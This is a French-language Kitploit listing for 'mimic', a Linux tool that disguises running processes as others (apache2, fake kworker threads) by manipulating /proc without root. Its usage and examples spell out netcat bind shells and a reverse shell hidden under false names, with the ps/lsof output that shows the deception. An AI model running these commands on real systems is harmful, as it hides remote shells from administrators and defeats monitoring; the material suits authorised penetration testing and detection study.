Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
mimic — Cacher les processus en tant qu'utilisateur normal sous Linux. | Kitploit
Outils/GitHubGitHub/emptymonkey/mimic
Évasion IDS/IPSTests d'IntrusionRed Teaming
GitHubemptymonkey/mimic

mimic

Cacher les processus en tant qu'utilisateur normal sous Linux.

Voir le dépôt
26351il y a 2 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

mimic

mimic est un outil pour l'exécution furtive sur Linux x86_64.

Qu'est-ce que l'exécution furtive ?

L'exécution furtive est l'art de cacher un processus. Dans ce cas, mimic cache le processus en pleine vue. mimic peut lancer n'importe quel programme et le faire ressembler à n'importe quel autre programme. N'importe quel utilisateur peut l'utiliser. Il ne nécessite pas de permissions spéciales. Il ne nécessite pas de binaires spéciaux. Il ne nécessite pas de root kit.

Quoi ?! Pas de privilèges spéciaux ??

C'est exact. mimic fonctionne en réarrangeant les structures internes d'un processus de manière à tromper l'entrée /proc de ce processus. Tous les outils qui rapportent la nature d'un processus le font en examinant /proc. Si nous pouvons plier /proc, alors nous pouvons cacher un processus en pleine vue. Puisque nous modifions seulement l'état d'un processus que nous possédons, n'importe qui peut exécuter mimic avec succès.

Cela peut-il être détecté ?!

Bien sûr, mais seulement si vous regardez de très près, ou si vous exécutez un outil forensique qui cherche ce genre de chose. L'utilité derrière mimic est qu'il empêchera quelqu'un de devenir suspicieux en premier lieu.

Cela fonctionnera-t-il avec des scripts ?

Oui, mais vous devez appeler mimic directement sur l'interpréteur. Par exemple, si la première ligne de votre script est "#!/usr/bin/perl", alors vous voudrez appeler mimic comme ceci :

root@kitploit:~
empty@monkey:~$ mimic -e "/usr/bin/perl test.pl" 

En invoquant l'interpréteur directement, mimic peut faire sa magie.

Qui est le public cible de mimic ?

Toute personne qui a légitimement besoin d'exécution furtive avant d'avoir obtenu root. Cela inclut, mais sans s'y limiter :

  • Pentesters.
  • Enquêteurs menant des opérations furtives (avec l'approbation préalable de leurs départements juridique et RH, bien sûr.)

Pourquoi s'appelle-t-il "mimic" ?

Parce que "Liar, liar, /proc on fire!" était trop long.

Qu'est-ce que "set_target_pid" ?

set_target_pid est un petit programme d'aide dans la suite mimic qui épuisera les pids jusqu'à ce que celui que vous voulez revienne. Cela vous permet de choisir où dans la liste des processus vous voulez que votre processus se place. Notez que le noyau réserve les 300 premiers pids pour les threads du noyau. Si vous essayez d'aller en dessous, vous finirez probablement avec le pid 301.

Utilisation

root@kitploit:~
usage: mimic -e COMMAND [-m MIMIC] [-b] [-a KEY=VALUE] [-q] [-h]
	-e	Exécute COMMAND.
	-m	Configure COMMAND pour ressembler à MIMIC.
			Default for non-root is:    "/usr/sbin/apache2 -k start"
			Default for root is:        "[kworker/0:0]"
	-b	Lance COMMAND en arrière-plan.
	-a	Ajoute / écrase KEY dans l'environnement mimic avec la VALUE associée.
	-q	Sois silencieux ! N'affiche pas la sortie normale.
	-h	Affiche ce message d'aide.

	Notes:
		L'environnement MIMIC sera une copie de l'environnement COMMAND.
		La variable '_' est automatiquement modifiée.
		Le flag -a peut être appelé plusieurs fois pour ajouter / écraser plusieurs variables.

	Exemples:
		mimic -e /bin/bash
		set_target_pid 1 && mimic -e /bin/bash
		mimic -b -e "./revsh"
		mimic -b -e "nc -l -e /bin/bash"
		mimic -b -e "nc -l -e \"mimic -e /bin/bash\""

Exemples

Premier exemple - Lancement d'un écouteur netcat en tant qu'utilisateur normal :

root@kitploit:~
empty@monkey:~$ ./mimic -b -e "/usr/local/bin/ncat -l -e \"./mimic -e /bin/bash\""
Launching child...                  Success!
Waiting for child to attach...      Success!
Initializing ptrace_do...           Success!
Determining stack state...          Success!
Politely requesting name change...  Success!
Searching for main()...             Success!
Building execution headers...       Success!
Setting up final state...           Success!

	Good-bye and have a good luck! :)

empty@monkey:~$ ps aux | grep apache
empty     1931 19.5  0.0  16648  1324 pts/1    S    21:41   0:02 /usr/sbin/apache2 -k start
empty     1935  0.0  0.0   7596   836 pts/1    S+   21:41   0:00 grep apache

empty@monkey:~$ sudo lsof -i -n -P | grep apache
[sudo] password for empty: 
apache2  1931 empty    3u  IPv6  14462      0t0  TCP *:31337 (LISTEN)
apache2  1931 empty    4u  IPv4  14463      0t0  TCP *:31337 (LISTEN)

Deuxième exemple - Lancement d'un shell inverse netcat en tant que root :

root@kitploit:~
root@monkey:~$ /home/empty/code/mimic/set_target_pid 1 && /home/empty/code/mimic/mimic -b -q -e "/usr/local/bin/ncat -e \"/home/empty/code/mimic/mimic -e \\\"/bin/bash\\\"\" localhost 9999"

Pouvez-vous repérer les faux kworkers ? Pourriez-vous le faire sans l'aide de grep ?

root@kitploit:~
root@monkey:~$ ps aux | grep kworker | grep -v grep
root        18  0.0  0.0      0     0 ?        S    19:39   0:00 [kworker/3:0]
root       197  0.0  0.0      0     0 ?        S    19:39   0:06 [kworker/u:3]
root       198  0.0  0.0      0     0 ?        S    19:39   0:06 [kworker/u:4]
root       199  0.0  0.0      0     0 ?        S    19:39   0:06 [kworker/u:5]
root       302 23.4  0.0  18748  1912 pts/5    S    22:28   0:02 [kworker/0:0]
root       304 11.4  0.0   3780   296 pts/5    S    22:28   0:00 [kworker/0:0]              
root       305 10.8  0.0  10644  1200 pts/5    S    22:28   0:00 [kworker/0:0]
root       426  0.0  0.0      0     0 ?        S    20:20   0:00 [kworker/1:0]
root       434  0.0  0.0      0     0 ?        S    20:20   0:00 [kworker/3:2]
root       536  0.0  0.0      0     0 ?        S    20:12   0:00 [kworker/0:0]
root       879  0.0  0.0      0     0 ?        S    20:39   0:00 [kworker/2:0]
root      1463  0.0  0.0      0     0 ?        S    19:39   0:00 [kworker/1:2]
root      2132  0.0  0.0      0     0 ?        S    19:47   0:00 [kworker/2:2]
root      2607  0.0  0.0      0     0 ?        S    20:01   0:01 [kworker/0:1]

Bien sûr, aucun kworker ne devrait avoir un socket ouvert, mais je suis sûr que vous pouvez être plus créatifs dans vos choix de noms que ça. :)

root@kitploit:~
root@monkey:~$ lsof -i -n -P | grep kworker
kworker/0  302  root    4u  IPv4  20546      0t0  TCP 127.0.0.1:47054->127.0.0.1:9999 (ESTABLISHED)
kworker/0  304  root    4u  IPv4  20546      0t0  TCP 127.0.0.1:47054->127.0.0.1:9999 (ESTABLISHED)
kworker/0  305  root    4u  IPv4  20546      0t0  TCP 127.0.0.1:47054->127.0.0.1:9999 (ESTABLISHED)

Notez que je lance ici en tant que root uniquement parce qu'un thread kworker serait très suspect s'il tournait en tant qu'utilisateur non-root. Le nouveau nom mimic est juste une chaîne. Il n'a pas besoin d'être un processus existant. Et même, il n'a même pas besoin d'être une chose réelle !

root@kitploit:~
empty@monkey:~$ code/mimic/mimic -q -e /bin/bash -m "Totally not a rootkit\!"

empty@monkey:~$ ps aux | grep rootkit | grep -v grep
empty      399  2.9  0.0   3780   300 pts/4    S    22:34   0:00 Totally not a rootkit!          
empty      400  2.7  0.0  19372  2044 pts/4    S    22:34   0:00 Totally not a rootkit!

Installation

root@kitploit:~
git clone https://github.com/emptymonkey/ptrace_do.git
cd ptrace_do
make
cd ..

git clone https://github.com/emptymonkey/mimic.git
cd mimic
make
Télécharger l’outil